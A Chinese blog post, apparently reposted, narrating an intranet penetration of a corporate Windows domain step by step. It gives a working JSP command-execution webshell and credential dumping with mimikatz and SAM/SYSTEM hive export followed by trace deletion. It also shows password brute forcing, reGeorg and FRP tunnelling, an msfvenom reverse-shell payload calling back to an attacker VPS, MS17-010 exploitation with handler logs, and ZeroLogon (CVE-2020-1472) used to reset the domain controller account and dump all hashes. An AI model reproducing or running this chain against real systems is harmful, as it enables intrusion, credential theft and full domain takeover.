A-A+

针对某个目标的渗透测试下(内网渗透)

2021年01月11日 实用工具 暂无评论 阅读 843 views 次

从JBoss进入到内网

通过外部资产中获取的JBoss的shell马,拿下了一个冰蝎的webshell。拿到shell之后我一开始是打算上线CS的,但是这里一直都上线不了,不用看了大概率就说杀软的问题。首先来看一下对方系统的基本信息,这里可以看到是存在域环境的。

一般的话拿到shell的话我比较喜欢就说获取到对方系统的凭证,这里是2012的系统。那么很简单通过mimikatz来获取对方系统的凭证。这里我依然是喜欢把对方的 lsass.exe 导出来接着在使用mimiktaz解出明文密码。这里很辛运,虽然并没有使用Mimikatz获取到明文密码,但是在cmd5网站可以查询的到,是一个付费的内容。之后成功获取了明文密码

接着我通过冰蝎来获取一个Meterpreter的shell,并且在通过Meterpreter 开启一个socks的代理,但是我发现转到Meterpreter 上面用起来不是很稳定。

这里也可能是我选择MSF的socks5的原因吧!因为之前看大佬文章说MSF的socks4比较稳定一点!但是还是看场景吧!我这里就不适合!

获取到了meterpreter 的shell之后呢,进入到 meterpreter 添加路由,让路由可到即可。这里需要注意,它这里的路由是255.255.252.0的子网掩码,也就是/22的。所以添加路由的时候需要注意下,不然的话有一些机器是不能路由过去的。但是经过后续的测试发现流量到达到目标内网不是很好!我通过smb_version模块进行扫描回来的效果不是很好!所以我果断放弃了MSF。

对于后面的代理进入内网,我是用了HTTP代理流量和MSF里面的代理来进入内网了。首先上传JSP的HTTP端。

接着在本地来连接到对方WEB端,使用reGeorg 的python连接连接上去对方。但是不好的地方就是这个需要把python的流量给禁止,不然会无限循环流量

python2 .\reGeorgSocksProxy.py -u http://xxx.xxx.xxx/xxxn/xxx.jsp  -p 1080

对内网口令进行碰撞

通过代理我登陆进入到了对方的3389查看了一下,发现对方是开启了卡巴斯基的,这样的话就不好玩了,这里我已经获取到了一个administrator的凭证和一写用户的hash,一般hash的话可以通过暴力破解来进一步渗透。这里由于我已经通过破解NTLM获取了一个明文的密码,然后我对10.10.12.0/24进行暴力破解,最终破解到了5台机器是使用相同的密码。在爆破的时候尽量把线程调整的小一点。

接着在对主机一一的上线到CS上面。上线到了CS之后为了不然其快速掉线,我把进程注入到了一些的进程中

从内网tomcat弱口令获取权限在进行横向渗透

对内网的一些80,8080,8081,7002这些端口来进行探测,这里是通过JAVA漏洞进来的,那么它的内网一定是有部署一些JAVA的系统的。进行扫描之后发现了内网有tomcat。接着自己使用python简单的编写了一个爆破脚本来对,爆破到了tomcat的后台口令出来

对于如何将浏览器的流量带入对方内网的WEB服务。我这里通过火狐的代理服务器来进行访问内网的WEB服务器,这样就可以不用进行全局代理了

通过扫描发现了 http://10.10.12.16:8080 开启了tomcat服务。使用之前爆破出来的弱口令进行后台登陆,这里可以直接部署webshell了

首先在本地这里下如一个jsp的小马上去。执行命令格式:

http://URL:port/1/1.jsp?pwd=023&i=whoami

<%< span="">

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("

");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("");

}

%>

部署上去之后就可也执行命令了,这里他返回的权限比较搞,是system最高权限

对于内网的webshell上传连接其实也很简单,这里使用冰蝎来作为webshell客户端,这台机器我测试了它的tomcat并没有把服务开放到外网(如果开放的话早就被日穿了哈哈哈),这里上传到了webshell上去之后呢需要在冰蝎客户端设置代理进入到对方的内网中才能连接

既然是最高权限了,那么我就直接上线到CS上面再来获取它的凭证信息。由于这是一台windows 2008的系统,直接获取到明文信息

接着整理这些密码对这个网段的主机进行暴力破解,也成功获取了一些主机。除了windows主机之外呢,其实还可以来利用这些密码来破解一些Linux主机的root密码。windows破解到了密码之后呢我一般喜欢就是上线到CS或者MSF,然后通过管理员权限来dump下机器上面的密码,如果机器上面有管理员密码的话那就一劳永逸了!

通过破解到了到了Linux的主机之后我成功登陆进去了 10.10.12.35 。登陆进去之后我比较喜欢查看的就是当前用户的历史记录。果不其然在历史记录找到了一个挂载点的密码。这里找历史记录的方法很多。可以在用户的目录下查看 .bash_history

或者通过查找shadow文件来破解密码。 10.10.12.35 这台Linux机器的密码如下,密码的格式是分组的,Linux / Unix 操作系统采用五种加密算法,1 代表是md5的加密方式,2 代表的是Blowfish 加密方式,5表示 SHA-256加密方式 ,6 代表的是SHA-512的加密方式。下面的是$1 是md5加密。比较好破解
接着我查看这台机器的DNS服务器,发现到它的DNS服务器其实指向的就是域控制器,10.10.12.77就是域控制器。后面两台也许就是辅助域控制器或者是DNS服务器

接着对10.10.68.5 进行扫描,发现了开启8009 ajp 协议 。这让我想起了今年的(CVE-2020-1938)Apache Tomcat 文件包含漏洞

去github下载下来POC脚本,接着对该地址进行测试发现真的有文件包含漏洞,但是这个漏洞要造成RCE的话必须要上传一个带有反弹shell命令的txt上去然后再包含该文件进行 RCE 的效果,但是这里我无法上传文件上去

但是利用条件有限!如果可以上次一些txt或者webshell上去就可以直接的获取到这个服务器的权限了!也许要有其他高深的技术但是我还没有知道吧!!!哈哈哈

从GPP目录寻找明文密码

搜索存放在GPP目录中的各类明文的账号密码,共享组策略目录是域中最容易出现密码的地方,一般管理员会把一些bat脚本放在里面用来重置域内客户机器本地的administrator的密码

net time /domain

net view DC

dir \\DC\netlogon

但是我查看了这些批处理之后发现这个批处理里面的密码大部分都是相同的,而且还是针对几台机器,那么这里对后期的作用就不高了,简单的获取一下明文密码即可

SPN收集域内信息

一键获取当前域内所有的spn记录,之所以要获取目录域完整spn记录,核心就是为了摸清目标域内所有敏感机器资产的具体分布,后续好再单独针对这些机器进行逐个“重点突破”,当然另外我们也可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机,这要远比直接去net view 一下靠谱并且完整的多得多,退一步来讲,如果目标系统开启了防火墙,你这样直接net view 也根本不好使
setspn -T xxx.com -Q /

接着对拉回来的spn文件进行处理,获取spn记录前面的主机名字

grep "CN=" spn.txt | awk -F "," {'print $1'} |  awk -F "=" {'print $2'} > host.txt

接着通过批处理来获取里面的的信息,通过批处理来批量的Ping主机,如果主机有回复的话就会有答复

for /f "delims=" %i in (C:\host.txt) do @ping -w 1 -n 1 %i | findstr /c ".xxx.com |" >> C\host_res.txt

通过SPN我们可以获取到域内的存活主机何一些主机的具体作用。可以通过主机的名字来获取到这个主机提供什么服务。
除了SPN收集域内的信息的话,还可以通过bloodHound来获取域内的一些信息。接着快速抓取当前域内的所有用户,组,会话,数据,上传exe文件上去然后再把数据给回去下来

但是这个数据脱下来之后使用bloodHound导入进去却发现数据无法显示,之后我通过CS 远程 加载powershell脚本上去之后就成功的获取到了json数据了

powershell-import  /home/xxx/Desktop/SharpHound.ps1

powershell  Invoke-BloodHound  -CollectionMethod All

接着通过上次frp到对方的服务器上面代理一个更加稳定的。上传FRP来进行内网的扫描和渗透测试。FRP相对于其他代理它比较文件和比较好管理,首先配置好服务器的FRP配置文件

[common]

bind_addr = 服务器监听的地址

bind_port = 服务器监听的端口

dashboard_port = 服务器web管理页面的端口

dashboard_user = 登陆的账号

dashboard_pwd = 登陆的密码

allow_ports = 4000-50000 [允许客户端连接的端口]

接着配置好FRP客户端的配置文件,再把他们上传到客户端和服务端上面

[common]

server_addr = 服务器的IP地址

server_port = 服务器监听的端口

tls_enable = true [是否开启tls]

pool_count = 5 [连接数]

[plugin_socks]

type = tcp

remote_port = 6666 []

plugin = socks5

plugin_user = 登陆的账号

plugin_passwd = 登陆的密码

use_encryption = true

use_compression = true

上传成功之后呢就可以启动FRP了

服务器端:frps.exe -c frps.ini

客户端:frpc.exe -c frpc.ini

接着访问到在服务端配置文件设置好的web访问端口就可以管理到这个socks了!

对内网的Windows机器进行永恒之蓝渗透

对内网的主机进行MS17-010漏洞探,发现了有很多主机都存在有永恒之蓝的漏洞,一开始我是通过FRP把MSF带入进入到对方的内网中的,但是我发现这样带入MSF进入到对方的内网的话打MS17-010成功率是真的太低了。我就使用了原生的MS17-010的payload来进行攻击,这里我使用的是图形化的漏洞payload。这里我是通过反向的payload来进行攻击,如果是反向payload的和对方内网的机器是需要能够出外网的。首先在VPS上面生成一个dll的payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=VPS_IP LPORT=1234 -f dll > win64.dll

接着把dll文件改名为x64.dll。并且把相对于的文件翻入到指定的payload文件夹。这里利用的payload格式选择为dll。然后打开软件先检测一下是否有漏洞,这里返回了Success! 代表具有漏洞

接着在MSF里面设置监听。监听本地的1234端口。也就是payload反弹shell的地址和端口

msf5 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost  xxx.xxx.xxx.xxx

lhost => 192.168.8.129

msf5 exploit(multi/handler) > set lport  1234

lport => 1234

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:1234

然后点击attack,把payload发送过去,这样的话对方的主机会话反向连接到MSF这里了。这里我的MSF成功的接收到了对方反弹回来的metepreter的shell

获取到了对方的metepreter的shell之后呢是一个system的权限,接着我使用hashdump获取它的hash。

还有很多的机器都有永恒之蓝的漏洞,但是是Win7的系统并且是x86构架的机器,这里反弹shell也不行。对于不能反弹shell的机器可以利用命令执行的ms17-010来进行提权进入到机器里面

msf5 > use auxiliary/admin/smb/ms17_010_command

msf5 auxiliary(admin/smb/ms17_010_command) > set command net user

command => net user

msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 10.10.74.128

rhosts => 10.10.74.128

可以看到这里已经执行到命令了,接着继续执行命令收集信息。

10.10.74.128这台机器的tomcat是爆破不了,但是通过之前爆破的密码,登陆进去了一个未爆破成功的tomcat里面,现在通过永恒之蓝进入进去了。就也是10.10.74.128这台机器里面找到了它的tomcat密码。

接着就使用密码登陆进去之后再上传webshell即可控制这台机器了

ZeroLogon(CVE-2020-1472)获取域控制器权限

接着对10.10.8.0/24网段进行扫描的时候发现了这个网段有机器开放了88端口,并且对10.10.8.19机器进行扫描之后它是一个域控制器。扫描结果看到,88端口运行了kerberos的服务。对于3389端口信息的探测信息比较多,改机器所在域是 NetBIOS_Domain_Name: ADC

域控漏洞的话想起来今年爆出的 CVE-2020-1472 netlogon 漏洞。这里我使用检测工具进行检测发现这个10.10.8.19 域控制器存在 CVE-2020-1472 netlogon 漏洞

接着使用cve-2020-1472-exploit 来把域控制器的 域控用户密码重置为空。把域控用户密码重置为空的话就可以获取它里面的hash了

接着使用secrtsdump.py 直接通过空密码的域控用户来dump 域控制器里面的所有hash凭证和用户。

接着通过获取下来的hash 通过wmiexec.py 来进行横向登陆到域控制器中,可以看到这里已经获取了一个域控制器的shell

python3 wmiexec.py 域名/[email protected] -hashes  域控管理员的hash

通过对这个域控制器的DNS指向可以知道这个域控制器应该是一个辅助域控制器。它的主要DNS还是10.10.12.77这台域控制器

通过下面的命令导出目标的hash。并且通过wmiexec 下载到本地。

reg save HKLM\SYSTEM sys.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv

get sys.hiv

get sam.hiv

get security.hiv

del /F sys.hiv

del /F sam.hiv

del /F security.hiv

接着使用secretsdump.py 读取里面的hash 。这里面是有域控用户历史hash的。

接着通过reinstall_original_pw.py将该原始计算机域控制帐户哈希还原。

接着我们就可以通过已经回去下来的管理员的密码账号来横向到其他的机器了比如其他的一些辅助域控和子域控,密码hash也是一样的!非常的辛运。接着我通过PTH来进行访问域控制器。这里使用PTH_PSH就可以传递hash到域控制器上面。这里我使用DNS隧道让其上线

接着即可访问到域控制器了。再CS上面使用ls \10.10.8.19c$ 就可以访问到域控制器的C盘。

然后就可以上线到CobaltStrike服务器来进行后续的控制了!接着通过修改windows注册表让其可以保存明文之后,通过命令强制注销用户然后再使用mimikatz获取系统的明文凭证信息。这里获取到了administrador的明文密码

使用密码登陆进入到域控制器中。可以看到这里它的DNS解析其实就是这几个网段,域机器也就集中再这几个网段中。其他网段大多数都部署这一些服务。

总结:

这个域只是一个小的分域,它的大多数的它的每一个B段都有一个域控,一共有5个B段在这个域内。我对 A段和C段进行扫描的时候并没有发现太多的收获,要么就是没有发现!也可能是进行了隔离。内网中有大量的服务器和计算机都是使用 EXSI 来进行搭建和管理的。

 

原文链接:https://my.oschina.net/u/4196756/blog/4840910

标签:

给我留言